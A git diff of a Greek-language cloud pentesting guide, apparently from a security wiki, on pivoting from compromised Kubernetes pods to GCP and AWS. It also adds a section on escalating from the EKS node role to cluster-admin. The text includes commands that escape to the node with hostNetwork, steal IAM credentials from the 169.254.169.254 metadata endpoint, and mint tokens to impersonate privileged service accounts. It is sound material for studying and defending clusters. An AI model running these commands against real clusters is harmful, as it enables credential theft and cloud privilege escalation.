diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md index 32ebac584..6428c5147 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md @@ -4,51 +4,51 @@ ## GCP -Αν τρέχετε ένα k8s cluster μέσα στο GCP, πιθανότατα θα θέλετε κάποια εφαρμογή που τρέχει μέσα στο cluster να έχει πρόσβαση στο GCP. Υπάρχουν 2 κοινές μέθοδοι για να το κάνετε αυτό: +Αν τρέχετε ένα k8s cluster μέσα στο GCP, πιθανότατα θα θέλετε κάποια εφαρμογή που τρέχει μέσα στο cluster να έχει πρόσβαση στο GCP. Υπάρχουν 2 κοινές μέθοδοι για να το πετύχετε: -### Mounting GCP-SA keys as secret +### Τοποθέτηση κλειδιών GCP-SA ως secret -Μια κοινή μέθοδος για να δώσετε **πρόσβαση σε μια εφαρμογή kubernetes στο GCP** είναι να: +Μια κοινή μέθοδος για να δώσετε **πρόσβαση σε μια kubernetes εφαρμογή στο GCP** είναι να: -- Δημιουργήσετε έναν GCP Service Account -- Δέσετε τις επιθυμητές άδειες σε αυτόν -- Κατεβάσετε ένα json key του δημιουργηθέντος SA -- Τοποθετήστε το ως μυστικό μέσα στο pod -- Ορίστε τη μεταβλητή περιβάλλοντος GOOGLE_APPLICATION_CREDENTIALS που δείχνει στο μονοπάτι όπου βρίσκεται το json. +- Δημιουργήστε ένα GCP Service Account +- Αντιστοιχίστε σε αυτό τις επιθυμητές άδειες +- Κατεβάστε ένα json key του δημιουργημένου SA +- Τοποθετήστε το ως secret μέσα στο pod +- Ορίστε τη μεταβλητή περιβάλλοντος GOOGLE_APPLICATION_CREDENTIALS που δείχνει στη διαδρομή όπου βρίσκεται το json. > [!WARNING] -> Επομένως, ως **επιτιθέμενος**, αν παραβιάσετε ένα κοντέινερ μέσα σε ένα pod, θα πρέπει να ελέγξετε αυτή τη **μεταβλητή** **env** και τα **αρχεία** **json** με τα διαπιστευτήρια GCP. +> Επομένως, ως **attacker**, αν compromise ένα container μέσα σε ένα pod, θα πρέπει να ελέγξετε για αυτή την **env** **variable** και **json** **files** με διαπιστευτήρια GCP. -### Relating GSA json to KSA secret +### Συσχέτιση GSA json με KSA secret -Μια μέθοδος για να δώσετε πρόσβαση σε έναν GSA σε ένα GKE cluster είναι να τους δέσετε με αυτόν τον τρόπο: +Ένας τρόπος για να δοθεί πρόσβαση σε μια GSA σε ένα GKE cluster είναι να τα συνδέσετε με αυτόν τον τρόπο: -- Δημιουργήστε έναν λογαριασμό υπηρεσίας Kubernetes στο ίδιο namespace με το GKE cluster σας χρησιμοποιώντας την παρακάτω εντολή: +- Δημιουργήστε ένα Kubernetes service account στο ίδιο namespace με το GKE cluster σας χρησιμοποιώντας την παρακάτω εντολή: ```bash -Copy codekubectl create serviceaccount +kubectl create serviceaccount ``` -- Δημιουργήστε ένα Kubernetes Secret που περιέχει τα διαπιστευτήρια του λογαριασμού υπηρεσίας GCP στον οποίο θέλετε να παραχωρήσετε πρόσβαση στο GKE cluster. Μπορείτε να το κάνετε αυτό χρησιμοποιώντας το εργαλείο γραμμής εντολών `gcloud`, όπως φαίνεται στο παρακάτω παράδειγμα: +- Δημιουργήστε ένα Kubernetes Secret που περιέχει τα credentials του GCP service account στο οποίο θέλετε να δώσετε πρόσβαση στο GKE cluster. Μπορείτε να το κάνετε χρησιμοποιώντας το εργαλείο γραμμής εντολών `gcloud`, όπως στο παρακάτω παράδειγμα: ```bash -Copy codegcloud iam service-accounts keys create .json \ +gcloud iam service-accounts keys create .json \ --iam-account kubectl create secret generic \ --from-file=key.json=.json ``` -- Δέστε το Kubernetes Secret στον λογαριασμό υπηρεσίας Kubernetes χρησιμοποιώντας την παρακάτω εντολή: +- Δέστε το Kubernetes Secret στον Kubernetes service account χρησιμοποιώντας την παρακάτω εντολή: ```bash -Copy codekubectl annotate serviceaccount \ +kubectl annotate serviceaccount \ iam.gke.io/gcp-service-account= ``` > [!WARNING] -> Στο **δεύτερο βήμα** ορίστηκαν τα **διαπιστευτήρια του GSA ως μυστικό του KSA**. Έτσι, αν μπορείτε να **διαβάσετε αυτό το μυστικό** από **μέσα** στο **GKE** cluster, μπορείτε να **κλιμακώσετε σε αυτόν τον λογαριασμό υπηρεσίας GCP**. +> Στο **δεύτερο βήμα** ορίστηκαν τα **credentials του GSA ως secret του KSA**. Έτσι, αν μπορείς να **διαβάσεις αυτό το secret** από **μέσα** στο **GKE** cluster, μπορείς να **escalate to that GCP service account**. ### GKE Workload Identity -Με το Workload Identity, μπορούμε να ρυθμίσουμε έναν [λογαριασμό υπηρεσίας Kubernetes](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) να λειτουργεί ως [λογαριασμός υπηρεσίας Google](https://cloud.google.com/iam/docs/understanding-service-accounts). Τα Pods που εκτελούνται με τον λογαριασμό υπηρεσίας Kubernetes θα αυθεντικοποιούνται αυτόματα ως ο λογαριασμός υπηρεσίας Google όταν έχουν πρόσβαση σε Google Cloud APIs. +Με το Workload Identity, μπορούμε να διαμορφώσουμε ένα [ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) ώστε να λειτουργεί ως [ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Τα Pods που τρέχουν με το Kubernetes service account θα πιστοποιούνται αυτόματα ως το Google service account όταν προσπελαύνουν τα Google Cloud APIs. -Η **πρώτη σειρά βημάτων** για να ενεργοποιηθεί αυτή η συμπεριφορά είναι να **ενεργοποιήσετε το Workload Identity στο GCP** ([**βήματα**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) και να δημιουργήσετε τον GCP SA που θέλετε να προσποιείται το k8s. +Η **πρώτη σειρά βημάτων** για να ενεργοποιηθεί αυτή η συμπεριφορά είναι να **ενεργοποιήσετε το Workload Identity στο GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) και να δημιουργήσετε το GCP SA που θέλετε το k8s να impersonate. -- **Ενεργοποιήστε το Workload Identity** σε ένα νέο cluster +- **Enable Workload Identity** σε νέο cluster ```bash gcloud container clusters update \ --region=us-central1 \ @@ -59,7 +59,7 @@ gcloud container clusters update \ # You could update instead of create gcloud container node-pools create --cluster= --workload-metadata=GKE_METADATA --region=us-central1 ``` -- Δημιουργήστε τον **GCP Service Account για να προσποιηθείτε** από το K8s με δικαιώματα GCP: +- Δημιουργήστε τον **GCP Service Account to impersonate** από το K8s με δικαιώματα GCP: ```bash # Create SA called "gsa2ksa" gcloud iam service-accounts create gsa2ksa --project= @@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding \ --member "serviceAccount:gsa2ksa@.iam.gserviceaccount.com" \ --role "roles/iam.securityReviewer" ``` -- **Συνδεθείτε** με το **cluster** και **δημιουργήστε** τον **λογαριασμό υπηρεσίας** για χρήση +- **Συνδεθείτε** στο **cluster** και **δημιουργήστε** το **service account** που θα χρησιμοποιήσετε ```bash # Get k8s creds gcloud container clusters get-credentials --region=us-central1 @@ -80,7 +80,7 @@ kubectl create namespace testing # Create the KSA kubectl create serviceaccount ksa2gcp -n testing ``` -- **Σύνδεση του GSA με το KSA** +- **Συνδέστε τη GSA με την KSA** ```bash # Allow the KSA to access the GSA in GCP IAM gcloud iam service-accounts add-iam-policy-binding gsa2ksa@ [!WARNING] -> Ως επιτιθέμενος μέσα στο K8s θα πρέπει να **αναζητήσετε SAs** με την **`iam.gke.io/gcp-service-account` αναφορά** καθώς αυτό υποδεικνύει ότι ο SA μπορεί να έχει πρόσβαση σε κάτι στο GCP. Μια άλλη επιλογή θα ήταν να προσπαθήσετε να εκμεταλλευτείτε κάθε KSA στο cluster και να ελέγξετε αν έχει πρόσβαση.\ -> Από το GCP είναι πάντα ενδιαφέρον να απαριθμήσετε τους δεσμούς και να γνωρίζετε **ποια πρόσβαση δίνετε σε SAs μέσα στο Kubernetes**. +> Ως επιτιθέμενος μέσα σε K8s πρέπει να **αναζητήσετε SAs** με την **`iam.gke.io/gcp-service-account` annotation**, καθώς αυτό υποδεικνύει ότι το SA μπορεί να έχει πρόσβαση σε κάτι στο GCP. Μια άλλη επιλογή είναι να προσπαθήσετε να καταχραστείτε κάθε KSA στο cluster και να ελέγξετε αν έχει πρόσβαση.\ +> Από πλευράς GCP είναι πάντα χρήσιμο να απαριθμήσετε τα bindings και να γνωρίζετε **ποια πρόσβαση δίνετε στα SAs μέσα στο Kubernetes**. -Αυτό είναι ένα σενάριο για να **επικοινωνήσετε εύκολα με όλους τους ορισμούς pods** **αναζητώντας** αυτή την **αναφορά**: +Αυτό είναι ένα script για να διατρέξετε εύκολα όλες τις definitions των pods και να αναζητήσετε εκείνη την **annotation**: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -139,11 +139,11 @@ done | grep -B 1 "gcp-service-account" ``` ## AWS -### Kiam & Kube2IAM (IAM ρόλος για Pods) +### Kiam & Kube2IAM (IAM role for Pods) -Μια (παρωχημένη) μέθοδος για να δώσετε IAM Roles σε Pods είναι να χρησιμοποιήσετε έναν [**Kiam**](https://github.com/uswitch/kiam) ή έναν [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Βασικά, θα χρειαστεί να εκτελέσετε ένα **daemonset** στο cluster σας με έναν **τύπο προνομιακού IAM ρόλου**. Αυτό το daemonset θα είναι αυτό που θα δώσει πρόσβαση σε IAM ρόλους στα pods που το χρειάζονται. +Μια (παρωχημένη) μέθοδος για να δώσετε IAM Roles σε Pods είναι να χρησιμοποιήσετε έναν [**Kiam**](https://github.com/uswitch/kiam) ή έναν [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Βασικά θα χρειαστεί να τρέξετε ένα **daemonset** στο cluster σας με ένα **είδος privileged IAM role.** Αυτό το daemonset θα είναι αυτό που θα παρέχει πρόσβαση σε IAM roles στα pods που το χρειάζονται. -Πρώτα απ' όλα, πρέπει να ρυθμίσετε **ποιοι ρόλοι μπορούν να προσπελαστούν μέσα στο namespace**, και το κάνετε με μια αναφορά μέσα στο αντικείμενο namespace: +Πρώτα απ' όλα πρέπει να διαμορφώσετε **ποιοι ρόλοι μπορούν να προσπελαστούν εντός του namespace**, και το κάνετε αυτό με ένα annotation μέσα στο namespace object: ```yaml:Kiam kind: Namespace metadata: @@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: | ["role-arn"] name: default ``` -Μόλις το namespace είναι ρυθμισμένο με τους ρόλους IAM που μπορούν να έχουν τα Pods, μπορείτε να **υποδείξετε τον ρόλο που θέλετε σε κάθε ορισμό pod με κάτι σαν**: +Μόλις το namespace είναι διαμορφωμένο με τους IAM ρόλους που μπορούν να ανατεθούν στα Pods, μπορείτε να **υποδείξετε τον ρόλο που θέλετε σε κάθε pod definition με κάτι σαν**: ```yaml:Kiam & Kube2iam kind: Pod metadata: @@ -171,12 +171,12 @@ annotations: iam.amazonaws.com/role: reportingdb-reader ``` > [!WARNING] -> Ως επιτιθέμενος, αν **βρείτε αυτές τις σημειώσεις** σε pods ή namespaces ή έναν server kiam/kube2iam που τρέχει (πιθανώς στο kube-system) μπορείτε να **παριστάνετε κάθε ρόλο** που ήδη **χρησιμοποιείται από pods** και περισσότερα (αν έχετε πρόσβαση στον λογαριασμό AWS, καταγράψτε τους ρόλους). +> Ως attacker, αν **βρείτε αυτές τις annotations** σε pods ή namespaces ή σε έναν διακομιστή kiam/kube2iam που τρέχει (πιθανώς στο kube-system) μπορείτε να **υποδυθείτε κάθε r**ole που ήδη **χρησιμοποιείται από pods** και περισσότερα (εάν έχετε πρόσβαση στον AWS account, απαριθμήστε τις roles). -#### Δημιουργία Pod με IAM Ρόλο +#### Δημιουργία Pod με IAM Role > [!NOTE] -> Ο IAM ρόλος που πρέπει να υποδειχθεί πρέπει να είναι στον ίδιο λογαριασμό AWS με τον ρόλο kiam/kube2iam και αυτός ο ρόλος πρέπει να έχει πρόσβαση σε αυτόν. +> Ο IAM role που θα υποδείξετε πρέπει να είναι στον ίδιο AWS account με το kiam/kube2iam role και εκείνο το role πρέπει να μπορεί να έχει πρόσβαση σε αυτό. ```yaml echo 'apiVersion: v1 kind: Pod @@ -192,14 +192,14 @@ image: alpine command: ["/bin/sh"] args: ["-c", "sleep 100000"]' | kubectl apply -f - ``` -### IAM Ρόλος για Λογαριασμούς Υπηρεσιών K8s μέσω OIDC +### IAM Role for K8s Service Accounts via OIDC Αυτή είναι η **συνιστώμενη μέθοδος από την AWS**. -1. Πρώτα απ' όλα, πρέπει να [δημιουργήσετε έναν πάροχο OIDC για το cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html). -2. Στη συνέχεια, δημιουργείτε έναν IAM ρόλο με τις άδειες που θα απαιτεί ο SA. -3. Δημιουργήστε μια [σχέση εμπιστοσύνης μεταξύ του IAM ρόλου και του SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) ονόματος (ή των namespaces που δίνουν πρόσβαση στον ρόλο σε όλους τους SAs του namespace). _Η σχέση εμπιστοσύνης θα ελέγξει κυρίως το όνομα του παρόχου OIDC, το όνομα του namespace και το όνομα του SA_. -4. Τέλος, **δημιουργήστε έναν SA με μια αναφορά που υποδεικνύει το ARN του ρόλου**, και τα pods που εκτελούνται με αυτόν τον SA θα έχουν **πρόσβαση στο token του ρόλου**. Το **token** είναι **γραμμένο** μέσα σε ένα αρχείο και η διαδρομή καθορίζεται στο **`AWS_WEB_IDENTITY_TOKEN_FILE`** (προεπιλογή: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) +1. Πρώτα απ' όλα πρέπει να [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html). +2. Έπειτα δημιουργείτε έναν IAM role με τα δικαιώματα που θα χρειαστεί το SA. +3. Create a [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) name (ή στο namespace για να δώσετε πρόσβαση στον role σε όλα τα SAs του namespace). _Η trust relationship θα ελέγχει κυρίως το OIDC provider name, το namespace name και το SA name_. +4. Τέλος, **create a SA with an annotation indicating the ARN of the role**, και τα pods που τρέχουν με αυτό το SA θα έχουν **access to the token of the role**. Το **token** είναι **written** μέσα σε ένα αρχείο και το path καθορίζεται στο **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) ```bash # Create a service account with a role cat >my-service-account.yaml < [!WARNING] -> Ως επιτιθέμενος, αν μπορείτε να καταγράψετε ένα K8s cluster, ελέγξτε για **λογαριασμούς υπηρεσιών με αυτή την αναφορά** για να **αναβαθμίσετε σε AWS**. Για να το κάνετε αυτό, απλά **exec/create** ένα **pod** χρησιμοποιώντας έναν από τους IAM **προνομιακούς λογαριασμούς υπηρεσιών** και κλέψτε το token. +> Ως επιτιθέμενος, αν μπορείτε να enumerate ένα K8s cluster, ελέγξτε για **service accounts with that annotation** για να **escalate to AWS**. Για να το κάνετε, απλώς **exec/create** ένα **pod** χρησιμοποιώντας έναν από τους IAM **privileged service accounts** και κλέψτε το token. > -> Επιπλέον, αν βρίσκεστε μέσα σε ένα pod, ελέγξτε για μεταβλητές περιβάλλοντος όπως **AWS_ROLE_ARN** και **AWS_WEB_IDENTITY_TOKEN.** +> Επιπλέον, εάν βρίσκεστε μέσα σε ένα pod, ελέγξτε για μεταβλητές env όπως **AWS_ROLE_ARN** και **AWS_WEB_IDENTITY_TOKEN.** > [!CAUTION] -> Μερικές φορές η **πολιτική εμπιστοσύνης ενός ρόλου** μπορεί να είναι **κακώς ρυθμισμένη** και αντί να δίνει πρόσβαση AssumeRole στον αναμενόμενο λογαριασμό υπηρεσίας, την δίνει σε **όλους τους λογαριασμούς υπηρεσιών**. Επομένως, αν μπορείτε να γράψετε μια αναφορά σε έναν ελεγχόμενο λογαριασμό υπηρεσίας, μπορείτε να αποκτήσετε πρόσβαση στον ρόλο. +> Μερικές φορές η **Turst Policy of a role** μπορεί να είναι **bad configured** και αντί να δώσει AssumeRole πρόσβαση στο αναμενόμενο service account, την δίνει σε **all the service accounts**. Επομένως, αν μπορείτε να γράψετε μια annotation σε ένα controlled service account, μπορείτε να αποκτήσετε access στο role. > -> Ελέγξτε την **παρακάτω σελίδα για περισσότερες πληροφορίες**: +> Δείτε την **παρακάτω σελίδα για περισσότερες πληροφορίες**: {{#ref}} ../aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} -### Βρείτε Pods και SAs με IAM Ρόλους στο Cluster +### Βρείτε Pods και SAs με IAM Roles στο Cluster -Αυτό είναι ένα σενάριο για να **επικοινωνήσετε εύκολα με όλα τα pods και τις ορισμούς sas** **αναζητώντας** αυτή την **αναφορά**: +Αυτό είναι ένα script για να **iterate over the all the pods and sas** definitions **looking** for that **annotation**: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -253,19 +253,26 @@ echo "" done done | grep -B 1 "amazonaws.com" ``` -### Node IAM Role +### Node IAM Role to cluster-admin -Η προηγούμενη ενότητα αφορούσε το πώς να κλέψετε IAM Roles με pods, αλλά σημειώστε ότι ένα **Node του** K8s cluster θα είναι μια **περίπτωση μέσα στο cloud**. Αυτό σημαίνει ότι το Node είναι πολύ πιθανό να **έχει έναν νέο IAM ρόλο που μπορείτε να κλέψετε** (_σημειώστε ότι συνήθως όλα τα nodes ενός K8s cluster θα έχουν τον ίδιο IAM ρόλο, οπότε μπορεί να μην αξίζει να προσπαθήσετε να ελέγξετε κάθε node_). +Το προηγούμενο τμήμα ήταν για το πώς να κλέψετε IAM Roles με pods, αλλά σημειώστε ότι ένας **Node of the** K8s cluster είναι πιθανόν να είναι μια **instance inside the cloud**. Αυτό σημαίνει ότι ο Node είναι πολύ πιθανό να **have an IAM role you can steal** (_σημείωση ότι συνήθως όλοι οι nodes ενός K8s cluster θα έχουν το ίδιο IAM role, οπότε ίσως δεν αξίζει να προσπαθήσετε να ελέγξετε κάθε node_). -Υπάρχει ωστόσο μια σημαντική απαίτηση για να αποκτήσετε πρόσβαση στο metadata endpoint από το node, πρέπει να είστε στο node (ssh session;) ή τουλάχιστον να έχετε το ίδιο δίκτυο: +Για να αποκτήσετε πρόσβαση στο node metadata endpoint χρειάζεται να: +- Να βρίσκεστε σε pod και το metadata endpoint να είναι ρυθμισμένο σε τουλάχιστον 2 tcp hops. Αυτή είναι η πιο κοινή misconfiguration καθώς συνήθως διαφορετικά pods στο cluster θα χρειαστούν πρόσβαση στο metadata endpoint για να μην σπάσουν και αρκετές εταιρείες απλά αποφασίζουν να επιτρέψουν πρόσβαση στο metadata endpoint από όλα τα pods στο cluster. +- Να βρίσκεστε σε pod με `hostNetwork` enabled. +- Να διαφύγετε στο node και να έχετε άμεση πρόσβαση στο metadata endpoint. + +(Σημειώστε ότι το metadata endpoint είναι στο 169.254.169.254 όπως πάντα). + +Για να **διαφύγετε στο node** μπορείτε να χρησιμοποιήσετε την ακόλουθη εντολή για να τρέξετε ένα pod με `hostNetwork` enabled: ```bash kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}' ``` -### Κλέψε το Token IAM Ρόλου +### Steal IAM Role Token -Προηγουμένως έχουμε συζητήσει πώς να **συνδέσουμε IAM Ρόλους σε Pods** ή ακόμα και πώς να **διαφύγουμε στον Κόμβο για να κλέψουμε τον IAM Ρόλο** που έχει συσχετιστεί με την παρουσία. +Προηγουμένως έχουμε συζητήσει πώς να **attach IAM Roles to Pods** ή ακόμα και πώς να **escape to the Node to steal the IAM Role** που έχει επισυναφθεί στο instance. -Μπορείτε να χρησιμοποιήσετε το παρακάτω σενάριο για να **κλέψετε** τα νέα σκληρά κερδισμένα **διαπιστευτήρια IAM ρόλου** σας: +Μπορείτε να χρησιμοποιήσετε το παρακάτω script για να **steal** τις νέες, δύσκολα κερδισμένες **IAM role credentials** σας: ```bash IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null) if [ "$IAM_ROLE_NAME" ]; then @@ -276,6 +283,19 @@ curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE fi fi ``` +### Privesc to cluster-admin + +Συνοπτικά: εάν είναι δυνατόν να **access the EKS Node IAM role** από ένα pod, είναι δυνατό να **compromise the full kubernetes cluster**. + +For more info check [this post](https://blog.calif.io/p/privilege-escalation-in-eks). Εν συντομία, ο προεπιλεγμένος IAM EKS ρόλος που εκχωρείται στους EKS κόμβους είναι ο ρόλος `system:node` εντός του cluster. Αυτός ο ρόλος είναι πολύ ενδιαφέρων αν και περιορίζεται από τις kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction). + +Ωστόσο, ο κόμβος μπορεί πάντα να **generate tokens for service accounts** που τρέχουν σε pods εντός του κόμβου. Έτσι, εάν ο κόμβος τρέχει ένα pod με ένα privileged service account, ο κόμβος μπορεί να δημιουργήσει ένα token για αυτό το service account και να το χρησιμοποιήσει για να impersonate το service account όπως στο: +```bash +kubectl --context=node1 create token -n ns1 sa-priv \ +--bound-object-kind=Pod \ +--bound-object-name=pod-priv \ +--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d +``` ## Αναφορές - [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)